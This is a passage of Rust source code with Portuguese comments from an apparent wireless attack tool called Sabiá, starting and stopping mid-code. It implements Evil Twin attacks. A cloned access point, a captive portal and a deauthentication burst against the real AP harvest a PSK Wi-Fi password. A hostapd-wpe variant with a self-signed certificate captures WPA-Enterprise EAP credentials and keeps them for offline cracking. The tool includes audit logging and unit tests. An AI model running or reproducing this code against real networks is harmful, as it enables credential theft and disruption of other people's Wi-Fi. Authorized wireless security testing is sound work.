// diagnosticar, e confere logo depois do spawn se ele já morreu —
// nesse caso devolve o erro de cara em vez de deixar o job "rodando"
// só na aparência enquanto o AP nunca sobe de verdade.
let hostapd_log_path = dir.join(format!("hostapd-{ap_iface}.log"));
let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?;
let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?;
let mut hostapd_cmd = Command::new("hostapd");
hostapd_cmd
.arg(&hostapd_conf_path)
.stdout(hostapd_log_out)
.stderr(hostapd_log_err);
let mut hostapd_child = hostapd_cmd.spawn().map_err(|e| {
SabiaError::InvalidInput(format!("não foi possível executar hostapd: {e}"))
})?;
std::thread::sleep(std::time::Duration::from_millis(500));
if let Ok(Some(status)) = hostapd_child.try_wait() {
let _ = Command::new("nmcli")
.args(["device", "set", ap_iface, "managed", "yes"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", name, "managed", "yes"])
.status();
let _ = fs::remove_file(&state_path);
let log = fs::read_to_string(&hostapd_log_path).unwrap_or_default();
return Err(SabiaError::InvalidInput(format!(
"hostapd saiu sozinho ({status}) logo ao subir em {ap_iface} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {}",
log.trim()
)));
}
let hostapd_pid = hostapd_child.id();
let dnsmasq_child = if crate::wps::find_in_path("dnsmasq").is_some() {
Command::new("dnsmasq")
.arg("--no-daemon")
.arg(format!("--conf-file={}", dnsmasq_conf_path.display()))
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.ok()
} else {
None
};
let dnsmasq_pid = dnsmasq_child.as_ref().map(|c| c.id());
for rule in crate::eviltwin::iptables_rules(ap_iface, portal_port) {
let _ = Command::new("iptables").args(&rule).status();
}
// Sem parada automática daqui de dentro: a thread que termina o
// Evil Twin roda solta (não tem `&Engine` pra chamar stop_deauth_job
// de volta). Por segurança o job de deauth tem um teto de 30min —
// pra encerrar antes, é o endpoint de deauth normal (POST
// /api/deauth/stop) ou a aba Ataques → Desautenticação → Parar.
let deauth_job = if deauth_real_ap {
self.start_deauth_job_burst(
name,
bssid,
None,
7,
"ap",
"deauth",
1_500,
Some(1_800),
false,
3,
)
.ok()
} else {
None
};
let id = format!(
"eviltwin-{}",
self.eviltwin_seq.fetch_add(1, Ordering::SeqCst) + 1
);
let stop = Arc::new(AtomicBool::new(false));
let job = Arc::new(Mutex::new(EvilTwinJobInfo {
id: id.clone(),
iface: name.to_string(),
ap_iface: ap_iface.to_string(),
ssid: ssid.clone(),
bssid: bssid.to_string(),
portal_port,
status: "running".into(),
attempts: 0,
last_attempt: None,
password: None,
deauth_job: deauth_job.clone(),
error: None,
started_unix: unix_now(),
finished_unix: None,
hostapd_pid: Some(hostapd_pid),
dnsmasq_pid,
stop: Some(stop.clone()),
}));
self.eviltwin_jobs
.lock()
.unwrap()
.insert(id.clone(), job.clone());
let listener = match std::net::TcpListener::bind(("0.0.0.0", portal_port)) {
Ok(l) => l,
Err(e) => {
let mut guard = job.lock().unwrap();
guard.status = "error".into();
guard.error = Some(format!("porta {portal_port} do portal: {e}"));
guard.finished_unix = Some(unix_now());
return Ok(id);
}
};
let audit_path = self.audit_path.clone();
let audit_lock = self.audit_lock.clone();
let iface_name = name.to_string();
let bssid_owned = bssid.to_string();
let ssid_owned = ssid;
let ap_iface_owned = ap_iface.to_string();
let thread_job = job.clone();
let thread_table = table;
let thread_stop = stop;
let state_path_for_thread = state_path.clone();
std::thread::spawn(move || {
let job_for_attempts = thread_job.clone();
let password = crate::eviltwin::run_portal(
listener,
&ssid_owned,
&target,
&thread_stop,
move |attempt| {
if let Ok(mut j) = job_for_attempts.lock() {
j.attempts += 1;
j.last_attempt = Some(
match attempt {
crate::eviltwin::PortalAttempt::Correct => "correct",
crate::eviltwin::PortalAttempt::WrongPassword => "wrong",
crate::eviltwin::PortalAttempt::InvalidLength => "invalid",
}
.into(),
);
}
},
);
// Limpeza: derruba hostapd/dnsmasq, desfaz o iptables, para o
// job de deauth do AP real — sempre, sucesso ou não.
unsafe {
libc::kill(hostapd_pid as i32, libc::SIGTERM);
}
if let Some(pid) = dnsmasq_pid {
unsafe {
libc::kill(pid as i32, libc::SIGTERM);
}
}
for rule in crate::eviltwin::iptables_cleanup_rules(&ap_iface_owned, portal_port) {
let _ = Command::new("iptables").args(&rule).status();
}
// Devolve as duas interfaces pro NetworkManager, senão ficam
// soltas (sem reconectar sozinhas a nada) depois que o hostapd
// sai. A de captura também foi solta lá no início — ver o
// comentário em start_evil_twin sobre o NM "resgatando" conexão
// salva pra ela quando só a `ap_iface` era liberada.
let _ = Command::new("nmcli")
.args(["device", "set", &ap_iface_owned, "managed", "yes"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", &iface_name, "managed", "yes"])
.status();
// Limpeza terminou direitinho: o arquivo de recuperação não é
// mais necessário (senão o próximo start do engine ia tentar
// "curar" um estado que já está limpo).
let _ = std::fs::remove_file(&state_path_for_thread);
let mut guard = thread_job.lock().unwrap();
guard.finished_unix = Some(unix_now());
if guard.status != "stopped" {
guard.status = if password.is_some() {
"done"
} else {
"stopped"
}
.into();
}
if let Some(password) = &password {
thread_table
.lock()
.unwrap()
.set_password(&bssid_owned, &hs.station, password);
guard.password = Some(password.clone());
}
let attempts = guard.attempts;
drop(guard);
append_audit(
&audit_path,
&audit_lock,
"eviltwin_stop",
&iface_name,
&serde_json::json!({
"bssid": bssid_owned,
"ap_iface": ap_iface_owned,
"attempts": attempts,
"success": password.is_some(),
}),
);
});
self.log(
"eviltwin_start",
name,
serde_json::json!({ "job": id, "bssid": bssid, "ap_iface": ap_iface, "ssid_len": 0 }),
);
Ok(id)
}
#[cfg(not(target_os = "linux"))]
pub fn start_evil_twin(
&self,
_name: &str,
_ap_iface: &str,
_bssid: &str,
_portal_port: u16,
_deauth_real_ap: bool,
) -> Result<String> {
Err(SabiaError::UnsupportedPlatform)
}
pub fn eviltwin_job(&self, id: &str) -> Option<EvilTwinJobInfo> {
self.eviltwin_jobs
.lock()
.unwrap()
.get(id)
.map(|j| j.lock().unwrap().clone())
}
pub fn eviltwin_jobs(&self) -> Vec<EvilTwinJobInfo> {
let jobs = self.eviltwin_jobs.lock().unwrap();
let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect();
out.sort_by_key(|a| std::cmp::Reverse(a.started_unix));
out
}
pub fn stop_evil_twin(&self, id: &str) -> Result<()> {
let job = self
.eviltwin_jobs
.lock()
.unwrap()
.get(id)
.cloned()
.ok_or_else(|| SabiaError::InvalidInput("job de Evil Twin não encontrado".into()))?;
let mut guard = job.lock().unwrap();
guard.status = "stopped".into();
if let Some(stop) = &guard.stop {
stop.store(true, Ordering::SeqCst);
}
// O accept() não-bloqueante só confere o `stop` a cada ~80ms — o
// listener às vezes só é liberado numa conexão local de "empurrão".
let port = guard.portal_port;
let capture_iface = guard.iface.clone();
drop(guard);
let _ = std::net::TcpStream::connect(("127.0.0.1", port));
// A thread que fecha o Evil Twin roda solta e não tem como parar o
// job de deauth acoplado de volta; isso aqui, que tem `&self`, pode.
self.stop_deauth_for_iface(&capture_iface);
Ok(())
}
/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X): clona o AP numa
/// segunda interface anunciando o mesmo SSID+canal e deixa o
/// `hostapd-wpe` aceitar o handshake EAP (PEAP/TTLS→MSCHAPv2) de
/// qualquer cliente — a credencial sai sozinha, como parte do próprio
/// protocolo, sem portal nem ação humana (ver `eviltwin_enterprise.rs`
/// pro porquê disso só existir pra Enterprise e não pra PSK).
///
/// Exige que o AP já tenha aparecido nesta sessão com segurança
/// Enterprise (AKM 802.1X) e que `hostapd-wpe` esteja instalado — não é
/// vendorizado como o reaver: é um patch sobre a árvore de build do
/// hostapd, não um binário pequeno.
#[cfg(target_os = "linux")]
pub fn start_evil_twin_enterprise(
&self,
name: &str,
ap_iface: &str,
bssid: &str,
) -> Result<String> {
use std::fs;
use std::process::{Command, Stdio};
parse_mac(bssid)?;
if ap_iface == name {
return Err(SabiaError::InvalidInput(
"a interface do clone precisa ser diferente da que está capturando".into(),
));
}
let (ssid, channel) = {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?;
let t = session.table.lock().unwrap();
let ap = t
.access_points()
.into_iter()
.find(|a| a.bssid.eq_ignore_ascii_case(bssid))
.ok_or_else(|| {
SabiaError::InvalidInput(
"esse BSSID ainda não apareceu nesta sessão de captura".into(),
)
})?;
if !ap.akm.iter().any(|a| a == "802.1X") {
return Err(SabiaError::InvalidInput(
"essa rede não é WPA2/WPA3-Enterprise (802.1X) — pra rede com senha única (PSK), use o Evil Twin com portal cativo".into(),
));
}
let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| {
SabiaError::InvalidInput("rede oculta: sem SSID não dá pra clonar".into())
})?;
let channel = ap.channel.ok_or_else(|| {
SabiaError::InvalidInput("canal do AP ainda não identificado".into())
})?;
(ssid, channel)
};
crate::wps::find_in_path("hostapd-wpe").ok_or_else(|| {
SabiaError::InvalidInput(
"hostapd-wpe não está instalado — não vem com o Sabiá (é um patch sobre o build do hostapd, não um binário pequeno); instale pelo repositório do Kali ou compile https://github.com/aircrack-ng/hostapd-wpe".into(),
)
})?;
let info = iface::get(ap_iface)?;
if info.mode != Mode::Managed && info.mode != Mode::Monitor {
return Err(SabiaError::InvalidInput(format!(
"{ap_iface} está num modo que o hostapd-wpe não consegue usar"
)));
}
let dir =
std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() }));
fs::create_dir_all(&dir).map_err(SabiaError::Io)?;
let eap_user_path = dir.join(format!("eap_user-{ap_iface}"));
let key_path = dir.join(format!("wpe-{ap_iface}.key"));
let cert_path = dir.join(format!("wpe-{ap_iface}.pem"));
let log_path = dir.join(format!("wpe-{ap_iface}.log"));
let hostapd_conf_path = dir.join(format!("hostapd-wpe-{ap_iface}.conf"));
fs::write(
&eap_user_path,
crate::eviltwin_enterprise::DEFAULT_EAP_USER_FILE,
)
.map_err(SabiaError::Io)?;
// Mesmo certificado autoassinado serve de "CA" e de certificado do
// servidor — não é uma cadeia de verdade, só o suficiente pra abrir
// o túnel TLS que PEAP/TTLS exigem. Ver aviso em eviltwin_enterprise.rs
// sobre clientes que validam a cadeia e vão recusar isso de propósito.
let cert_args = crate::eviltwin_enterprise::openssl_selfsigned_cert_args(
&key_path.to_string_lossy(),
&cert_path.to_string_lossy(),
);
let openssl_ok = Command::new("openssl")
.args(&cert_args)
.stdout(Stdio::null())
.stderr(Stdio::null())
.status()
.map(|s| s.success())
.unwrap_or(false);
if !openssl_ok {
return Err(SabiaError::InvalidInput(
"não foi possível gerar o certificado TLS (openssl) pro hostapd-wpe".into(),
));
}
fs::write(
&hostapd_conf_path,
crate::eviltwin_enterprise::hostapd_wpe_conf(
ap_iface,
&ssid,
channel,
&eap_user_path.to_string_lossy(),
&cert_path.to_string_lossy(),
&cert_path.to_string_lossy(),
&key_path.to_string_lossy(),
&log_path.to_string_lossy(),
),
)
.map_err(SabiaError::Io)?;
// Mesmo esquema de recuperação do Evil Twin de PSK (bug-093):
// `self_heal_eviltwin_leftovers` lê qualquer `state-*.json` sobrando
// e desfaz tudo no próximo início do engine, mesmo sem
// `portal_port`/`dnsmasq_conf` (campos ausentes, tratados como
// opcionais nessa função).
let state_path = dir.join(format!("state-{ap_iface}.json"));
let _ = fs::write(
&state_path,
serde_json::json!({
"ap_iface": ap_iface,
"capture_iface": name,
"hostapd_conf": hostapd_conf_path.to_string_lossy(),
})
.to_string(),
);
let _ = Command::new("nmcli")
.args(["device", "set", ap_iface, "managed", "no"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", name, "managed", "no"])
.status();
// Mesmo diagnóstico do bug-093 pro hostapd puro: grava a saída pra
// conseguir explicar um crash imediato em vez de deixar um
// "<defunct>" mudo (placa sem o canal/banda de verdade, por
// exemplo). Sem DHCP/iptables aqui — a credencial EAP é enviada
// como parte do 802.1X, antes de qualquer IP ser atribuído.
let hostapd_log_path = dir.join(format!("hostapd-wpe-{ap_iface}.log"));
let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?;
let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?;
let mut hostapd_cmd = Command::new("hostapd-wpe");
hostapd_cmd
.arg(&hostapd_conf_path)
.stdout(hostapd_log_out)
.stderr(hostapd_log_err);
let mut hostapd_child = hostapd_cmd.spawn().map_err(|e| {
SabiaError::InvalidInput(format!("não foi possível executar hostapd-wpe: {e}"))
})?;
std::thread::sleep(std::time::Duration::from_millis(500));
if let Ok(Some(status)) = hostapd_child.try_wait() {
let _ = Command::new("nmcli")
.args(["device", "set", ap_iface, "managed", "yes"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", name, "managed", "yes"])
.status();
let _ = fs::remove_file(&state_path);
let log = fs::read_to_string(&hostapd_log_path).unwrap_or_default();
return Err(SabiaError::InvalidInput(format!(
"hostapd-wpe saiu sozinho ({status}) logo ao subir em {ap_iface} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {}",
log.trim()
)));
}
let hostapd_pid = hostapd_child.id();
let id = format!(
"enterprisetwin-{}",
self.enterprise_twin_seq.fetch_add(1, Ordering::SeqCst) + 1
);
let job = Arc::new(Mutex::new(EnterpriseTwinJobInfo {
id: id.clone(),
iface: name.to_string(),
ap_iface: ap_iface.to_string(),
ssid,
bssid: bssid.to_string(),
status: "running".into(),
captured: 0,
last_identity: None,
log_path: log_path.to_string_lossy().into_owned(),
error: None,
started_unix: unix_now(),
finished_unix: None,
hostapd_pid: Some(hostapd_pid),
}));
self.enterprise_twin_jobs
.lock()
.unwrap()
.insert(id.clone(), job);
self.log(
"eviltwin_enterprise_start",
name,
serde_json::json!({ "job": id, "bssid": bssid, "ap_iface": ap_iface }),
);
Ok(id)
}
#[cfg(not(target_os = "linux"))]
pub fn start_evil_twin_enterprise(
&self,
_name: &str,
_ap_iface: &str,
_bssid: &str,
) -> Result<String> {
Err(SabiaError::UnsupportedPlatform)
}
/// Relê o log do hostapd-wpe (se o job ainda estiver rodando) e devolve
/// o estado atual — sem thread de fundo: o polling da UI já chama isso
/// a cada ~1.5s, igual aos outros jobs.
pub fn enterprise_twin_job(&self, id: &str) -> Option<EnterpriseTwinJobInfo> {
let job = self.enterprise_twin_jobs.lock().unwrap().get(id).cloned()?;
{
let mut guard = job.lock().unwrap();
if guard.status == "running" {
if let Ok(log) = std::fs::read_to_string(&guard.log_path) {
let creds = crate::eviltwin_enterprise::captured_identities(&log);
guard.captured = creds.len() as u32;
guard.last_identity = creds
.last()
.map(|c| c.netntlm.clone().unwrap_or_else(|| c.username.clone()));
}
}
}
let info = job.lock().unwrap().clone();
Some(info)
}
pub fn enterprise_twin_jobs(&self) -> Vec<EnterpriseTwinJobInfo> {
let ids: Vec<String> = self
.enterprise_twin_jobs
.lock()
.unwrap()
.keys()
.cloned()
.collect();
let mut out: Vec<_> = ids
.into_iter()
.filter_map(|id| self.enterprise_twin_job(&id))
.collect();
out.sort_by_key(|a| std::cmp::Reverse(a.started_unix));
out
}
/// Mata o hostapd-wpe e devolve as duas interfaces pro NetworkManager —
/// síncrono (tem `&self`, sem thread solta pra coordenar), ao contrário
/// do Evil Twin de PSK que precisa de uma thread de portal rodando em
/// paralelo. O log de credenciais fica no disco (não é apagado) pra
/// quebra offline com john/hashcat.
#[cfg(target_os = "linux")]
pub fn stop_evil_twin_enterprise(&self, id: &str) -> Result<()> {
let job = self
.enterprise_twin_jobs
.lock()
.unwrap()
.get(id)
.cloned()
.ok_or_else(|| {
SabiaError::InvalidInput("job de Evil Twin Enterprise não encontrado".into())
})?;
let mut guard = job.lock().unwrap();
if let Some(pid) = guard.hostapd_pid {
unsafe {
libc::kill(pid as i32, libc::SIGTERM);
}
}
let _ = std::process::Command::new("nmcli")
.args(["device", "set", &guard.ap_iface, "managed", "yes"])
.status();
let _ = std::process::Command::new("nmcli")
.args(["device", "set", &guard.iface, "managed", "yes"])
.status();
let dir =
std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() }));
let _ = std::fs::remove_file(dir.join(format!("state-{}.json", guard.ap_iface)));
guard.status = "stopped".into();
guard.finished_unix = Some(unix_now());
let (capture_iface, ap_iface, bssid, captured) = (
guard.iface.clone(),
guard.ap_iface.clone(),
guard.bssid.clone(),
guard.captured,
);
drop(guard);
self.log(
"eviltwin_enterprise_stop",
&capture_iface,
serde_json::json!({ "bssid": bssid, "ap_iface": ap_iface, "captured": captured }),
);
Ok(())
}
#[cfg(not(target_os = "linux"))]
pub fn stop_evil_twin_enterprise(&self, _id: &str) -> Result<()> {
Err(SabiaError::UnsupportedPlatform)
}
pub fn audit_verify(&self) -> Result<Option<usize>> {
if !self.audit_path.exists() {
return Ok(None);
}
AuditLog::verify(&self.audit_path)
}
pub fn audit_entries(&self, limit: Option<usize>) -> Result<Vec<crate::audit::AuditEntry>> {
if !self.audit_path.exists() {
return Ok(Vec::new());
}
AuditLog::read_entries(&self.audit_path, limit)
}
pub fn update_check(&self) -> Result<UpdateStatus> {
update::check(self.version())
}
pub fn update_apply(&self) -> Result<String> {
let exe = std::env::current_exe()?;
update::apply(&exe)
}
fn session_handshake(
&self,
name: &str,
bssid: &str,
station: &str,
) -> Result<Option<Handshake>> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?;
let table = session.table.lock().unwrap();
Ok(table.handshake(bssid, station).cloned())
}
fn log(&self, action: &str, target: &str, details: serde_json::Value) {
append_audit(&self.audit_path, &self.audit_lock, action, target, &details);
}
}
#[cfg(target_os = "linux")]
fn record_wps_line(job: &Arc<Mutex<WpsJobInfo>>, line: &str) {
let (pin, password) = crate::wps::parse_line(line);
if let Ok(mut j) = job.lock() {
if j.output.len() >= 200 {
j.output.remove(0);
}
j.output.push(line.to_string());
if pin.is_some() {
j.pin = pin;
}
if password.is_some() {
j.password = password;
}
}
}
fn append_audit(
path: &Path,
lock: &Arc<Mutex<()>>,
action: &str,
target: &str,
details: &serde_json::Value,
) {
let _guard = lock.lock().unwrap();
let Ok(mut log) = AuditLog::open(path) else {
return;
};
let text = details.to_string();
let _ = log.record(action, target, &text);
}
/// Desfaz um Evil Twin que não terminou direito numa execução anterior
/// (processo morto por Ctrl+C sem handler, `kill -9`, queda de energia):
/// mata hostapd/dnsmasq órfãos, remove as regras de iptables e devolve as
/// duas interfaces (clone + captura) pro NetworkManager. Sem isso elas
/// ficam presas em `managed no` e o painel de Wi-Fi do sistema some por
/// completo (nenhum dispositivo gerenciado pra mostrar) até o usuário
/// descobrir e rodar `nmcli device set <iface> managed yes` na mão.
/// Roda uma vez, best-effort, toda vez que um `Engine` é criado.
#[cfg(target_os = "linux")]
fn self_heal_eviltwin_leftovers() {
use std::process::Command;
let Ok(uid) = std::env::var("SUDO_UID").or_else(|_| std::env::var("UID")) else {
return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
};
let Ok(uid) = uid.parse::<u32>() else {
return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
};
self_heal_eviltwin_leftovers_for_uid(uid);
// Também cobre o euid atual (sudo normalmente roda como root/0, que é
// o euid real do processo mesmo com SUDO_UID setado).
self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
fn self_heal_eviltwin_leftovers_for_uid(uid: u32) {
let dir = std::env::temp_dir().join(format!("sabia-eviltwin-{uid}"));
let Ok(entries) = std::fs::read_dir(&dir) else {
return;
};
for entry in entries.flatten() {
let path = entry.path();
let is_state_file = path
.file_name()
.and_then(|n| n.to_str())
.is_some_and(|n| n.starts_with("state-") && n.ends_with(".json"));
if !is_state_file {
continue;
}
let Ok(text) = std::fs::read_to_string(&path) else {
continue;
};
let Ok(state) = serde_json::from_str::<serde_json::Value>(&text) else {
continue;
};
let ap_iface = state.get("ap_iface").and_then(|v| v.as_str());
let capture_iface = state.get("capture_iface").and_then(|v| v.as_str());
let portal_port = state.get("portal_port").and_then(|v| v.as_u64());
let hostapd_conf = state.get("hostapd_conf").and_then(|v| v.as_str());
let dnsmasq_conf = state.get("dnsmasq_conf").and_then(|v| v.as_str());
if let Some(conf) = hostapd_conf {
let _ = Command::new("pkill").args(["-f", conf]).status();
}
if let Some(conf) = dnsmasq_conf {
let _ = Command::new("pkill").args(["-f", conf]).status();
}
if let (Some(ap_iface), Some(portal_port)) = (ap_iface, portal_port) {
for rule in crate::eviltwin::iptables_cleanup_rules(ap_iface, portal_port as u16) {
let _ = Command::new("iptables").args(&rule).status();
}
}
for iface in [ap_iface, capture_iface].into_iter().flatten() {
let _ = Command::new("nmcli")
.args(["device", "set", iface, "managed", "yes"])
.status();
}
if let Some(conf) = hostapd_conf {
let _ = std::fs::remove_file(conf);
}
if let Some(conf) = dnsmasq_conf {
let _ = std::fs::remove_file(conf);
}
let _ = std::fs::remove_file(&path);
}
}
}
#[cfg(target_os = "linux")]
fn probe_station_mac() -> [u8; 6] {
let nanos = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.subsec_nanos())
.unwrap_or(0);
let pid = std::process::id();
[
0x02,
(nanos >> 24) as u8,
(nanos >> 16) as u8,
(nanos >> 8) as u8,
nanos as u8,
(pid ^ (nanos >> 7)) as u8,
]
}
#[cfg(target_os = "linux")]
fn akms_for(ap: &AccessPoint) -> Vec<u8> {
let mut out = Vec::new();
for akm in &ap.akm {
match akm.as_str() {
"PSK" => out.push(2),
"802.1X" => out.push(1),
"SAE" => out.push(8),
"OWE" => out.push(18),
_ => {}
}
}
if out.is_empty() {
match ap.security.as_deref() {
Some("WPA3") | Some("WPA3-EAP") => out.push(8),
Some("WPA2/WPA3") => {
out.push(2);
out.push(8);
}
Some("OWE") => out.push(18),
Some("WPA2-EAP") => out.push(1),
_ => out.push(2),
}
}
out
}
#[cfg(target_os = "linux")]
fn parse_mac(text: &str) -> Result<[u8; 6]> {
crate::dot11::parse_mac(text)
.ok_or_else(|| SabiaError::InvalidInput(format!("MAC inválido: {text}")))
}
fn unix_now() -> u64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0)
}
#[cfg(test)]
mod tests {
use super::*;
use crate::radiotap::Band;
use crate::testutil::{
ap, beacon_frame, frame_with_eapol, handshake_frames, radiotap_wrap, sta,
};
use tempfile::TempDir;
fn seed_session(engine: &Engine, name: &str) -> Arc<Mutex<ScanTable>> {
let mut table = ScanTable::new();
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40);
table.ingest(&beacon);
let (m1, m2) = handshake_frames("RedeWPA", "password", 2, false);
let f1 = frame_with_eapol(true, ap(), sta(), [0x33; 6], &m1);
let f2 = frame_with_eapol(false, ap(), sta(), [0x33; 6], &m2);
table.ingest(&radiotap_wrap(&f1, 2437, -40));
table.ingest(&radiotap_wrap(&f2, 2437, -41));
assert_eq!(table.stats().handshakes, 1);
let table = Arc::new(Mutex::new(table));
engine.sessions.lock().unwrap().insert(
name.to_string(),
Session {
table: table.clone(),
running: Arc::new(AtomicBool::new(false)),
channel: Arc::new(Mutex::new(Some(6))),
locked_channel: Arc::new(Mutex::new(None)),
channels: vec![6],
started_unix: 1,
pcap_out: None,
error: Arc::new(Mutex::new(None)),
handle: None,
},
);
table
}
#[test]
fn scan_snapshot_warns_when_running_long_with_zero_frames() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
engine.sessions.lock().unwrap().insert(
"wlan-test".to_string(),
Session {
table: Arc::new(Mutex::new(ScanTable::new())),
running: Arc::new(AtomicBool::new(true)),
channel: Arc::new(Mutex::new(Some(6))),
locked_channel: Arc::new(Mutex::new(None)),
channels: vec![6],
started_unix: 1,
pcap_out: None,
error: Arc::new(Mutex::new(None)),
handle: None,
},
);
let snap = engine.scan_snapshot("wlan-test").unwrap();
assert!(snap.warning.is_some());
assert!(snap.warning.unwrap().contains("Nenhum quadro"));
}
#[test]
fn scan_snapshot_does_not_warn_right_after_starting() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
engine.sessions.lock().unwrap().insert(
"wlan-test".to_string(),
Session {
table: Arc::new(Mutex::new(ScanTable::new())),
running: Arc::new(AtomicBool::new(true)),
channel: Arc::new(Mutex::new(Some(6))),
locked_channel: Arc::new(Mutex::new(None)),
channels: vec![6],
started_unix: unix_now(),
pcap_out: None,
error: Arc::new(Mutex::new(None)),
handle: None,
},
);
let snap = engine.scan_snapshot("wlan-test").unwrap();
assert!(snap.warning.is_none());
}
#[test]
fn force_handshake_picks_an_associated_client() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
assert_eq!(
engine.first_associated_station("wlan-test", "00:11:22:33:44:55"),
Some("66:77:88:99:aa:bb".into())
);
assert_eq!(
engine.first_associated_station("wlan-test", "00:11:22:33:44:66"),
None
);
}
#[test]
fn evil_twin_rejects_same_interface_for_clone_and_capture() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
let err = engine
.start_evil_twin("wlan-test", "wlan-test", "00:11:22:33:44:55", 8080, false)
.unwrap_err();
assert!(err.to_string().contains("diferente"));
}
#[test]
fn evil_twin_rejects_bssid_never_seen_in_this_session() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
let err = engine
.start_evil_twin("wlan-test", "wlan1", "ff:ff:ff:ff:ff:ff", 8080, false)
.unwrap_err();
assert!(err.to_string().contains("não apareceu"));
}
#[test]
fn evil_twin_requires_a_crackable_handshake_for_that_bssid() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
// Só o beacon, sem handshake nenhum — a sessão sabe do AP mas não
// tem como conferir senha nenhuma no portal ainda.
let mut table = ScanTable::new();
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40);
table.ingest(&beacon);
engine.sessions.lock().unwrap().insert(
"wlan-test".to_string(),
Session {
table: Arc::new(Mutex::new(table)),
running: Arc::new(AtomicBool::new(false)),
channel: Arc::new(Mutex::new(Some(6))),
locked_channel: Arc::new(Mutex::new(None)),
channels: vec![6],
started_unix: 1,
pcap_out: None,
error: Arc::new(Mutex::new(None)),
handle: None,
},
);
let err = engine
.start_evil_twin("wlan-test", "wlan1", "00:11:22:33:44:55", 8080, false)
.unwrap_err();
assert!(err.to_string().contains("handshake quebrável"));
}
#[test]
fn evil_twin_fails_clearly_when_hostapd_is_missing() {
// Neste ambiente de CI/sandbox hostapd não está instalado de
// propósito — exercita o caminho de erro de verdade, não um mock.
if crate::wps::find_in_path("hostapd").is_some() {
eprintln!("hostapd instalado nesta máquina — pulando (o teste é pro caso sem ele)");
return;
}
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
let err = engine
.start_evil_twin("wlan-test", "wlan1", "00:11:22:33:44:55", 8080, false)
.unwrap_err();
assert!(err.to_string().contains("hostapd"));
assert_eq!(
engine.eviltwin_jobs().len(),
0,
"não deve criar job sem hostapd"
);
}
#[test]
fn evil_twin_enterprise_rejects_same_interface_for_clone_and_capture() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
let err = engine
.start_evil_twin_enterprise("wlan-test", "wlan-test", "00:11:22:33:44:55")
.unwrap_err();
assert!(err.to_string().contains("diferente"));
}
#[test]
fn evil_twin_enterprise_rejects_a_psk_network() {
// seed_session() cria um beacon com AKM 2 (PSK) — não é Enterprise.
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
let err = engine
.start_evil_twin_enterprise("wlan-test", "wlan1", "00:11:22:33:44:55")
.unwrap_err();
assert!(err.to_string().contains("Enterprise"));
}
#[test]
fn evil_twin_enterprise_rejects_bssid_never_seen_in_this_session() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
let err = engine
.start_evil_twin_enterprise("wlan-test", "wlan1", "ff:ff:ff:ff:ff:ff")
.unwrap_err();
assert!(err.to_string().contains("não apareceu"));
}
#[test]
fn evil_twin_enterprise_accepts_an_802_1x_network_up_to_the_hostapd_wpe_check() {
// AKM 1 = 802.1X (Enterprise) — passa a validação de segurança e só
// falha mais na frente, no binário externo que não existe neste
// ambiente de CI/sandbox de propósito.
if crate::wps::find_in_path("hostapd-wpe").is_some() {
eprintln!("hostapd-wpe instalado nesta máquina — pulando (o teste é pro caso sem ele)");
return;
}
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
let mut table = ScanTable::new();
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeCorp", 6, &[1]), 2437, -40);
table.ingest(&beacon);
engine.sessions.lock().unwrap().insert(
"wlan-test".to_string(),
Session {
table: Arc::new(Mutex::new(table)),
running: Arc::new(AtomicBool::new(false)),
channel: Arc::new(Mutex::new(Some(6))),
locked_channel: Arc::new(Mutex::new(None)),
channels: vec![6],
started_unix: 1,
pcap_out: None,
error: Arc::new(Mutex::new(None)),
handle: None,
},
);
let err = engine
